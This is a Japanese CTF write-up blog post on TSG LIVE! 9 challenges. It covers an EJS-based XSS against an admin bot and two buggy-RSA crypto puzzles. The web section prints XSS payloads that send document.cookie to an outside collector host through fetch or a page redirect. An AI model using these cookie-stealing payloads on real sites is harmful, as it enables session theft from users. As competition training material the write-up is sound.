はまやんはまやんはまやん

hamayanhamayan's blog

TSG LIVE! 9 CTF Writeups

[web] Onomancy-Oriented Programming

Vueでできた問題。admin botが用意されていて、cookieにフラグがあるので、XSSが期待されている。
ソースコードが与えられているので(ありがとうございます!)、XSS箇所を探すと/app/views/index.ejsにある。

<input type="hidden" name="name" value="<%- name %>">

Vueのクライアント側ではなく、サーバ側のテンプレートエンジンのejsが値を入れ替えるときにXSSが発生する。
まずは手元でalertが出るかどうか"><img src=x onerror=alert(0)><img src="あたりで試してみる。
GETパラメタに乗せるので/?name=%22%3e%3cimg%20src%3dx%20onerror%3dalert(0)%3e%3cimg%20src%3d%22にアクセスするとアラートが出てくる。
XSS手法が確立されたので、あとはやるだけ…だったが、刺さらない。

最初、"><img src=x onerror="fetch('https://xxx.requestcatcher.com/test?'+document.cookie)"><img src="というのを踏ませてみたがダメだった。
普通に自分で踏むと動くが、POST /reportで送りつけてもうまく動かない。

これ以降のあれこれは完全に想像です。鵜呑みにしないように

worker.tsを見ると、page.goto(urlの後にsleepとかが無いので、一瞬開いてfetchの実行にまで至ってないのでは?と想像した。
ちょっと遅らせてみるか…と思い"><img src=x onerror="fetch('https://xxx.requestcatcher.com/test?'+document.cookie)"><img src="https://asdfsadfadfsddadfsadfsadfsadfsadfsadfsadfsadf.com/sadf.pngのようにしてみると
微妙に負荷がかかったのかlocalhost上では(手元環境上では)ちゃんとcookieが帰ってきた。
よし、と思い本番に投げてみたが、帰ってこない。
もうちょっと負荷をかけてやる必要があるか…?とも考えたが、easyだから別のpayloadだったら刺さりそうと考え直して、最終的に以下でフラグを得た。

ここまで想像でした。

"><img src=1 onerror="window.location.href='https://xxx.requestcatcher.com/test?get='+document.cookie

[web] Onomancy-Oriented Prophecy 解けず

分からなくてcrypto解いてました…
何とかしてvueをもう一回動かすことで解く問題です…天才だ…
どこかの問題の解説で「vueを内部にもう一個作って…」みたいな解法を見てわけわからんとなった記憶がありますが、それに近いテクかもですね…

[crypto] RSA debug?

実装に問題があり、my_powが知っているpowとは違う動きになっている。
具体的にはnが0以上なら1 + a * nというのが帰ってくる。
よって、暗号文cは、c = 1 + flag * eという感じで計算されるため、flag = (c - 1) / eで計算可能。

e = 257
c = 1032307400372525030420319173259503709384961767939821142794251896087430140750696054688678035256705431662987859651860033467060026426212901209540363

from Crypto.Util.number import *
print(long_to_bytes((c - 1) // e))

[crypto] RSA debug??

こちらも実装に問題があり、my_powが知っているpowとは違う動きになっている。
具体的にはnが0以上ならa * a * 256というのが帰ってくる。
よって、暗号文cは、c = flag * flag * 256という感じで計算されるため、2字方程式を解けばflagが得られる。

sage: c = 35670804975997119135517974550619182851023199117712172481981302698858610501172231787573382627176449105648892197879980333661081777520179757444468521044149805726225887861984....: 296836753557996580478318594607972377600
sage: x = var('x')
sage: solve([c = x^2*256], x)

これで2つ候補が出てくるので正の方を使ってlong_to_bytesするとフラグとなる。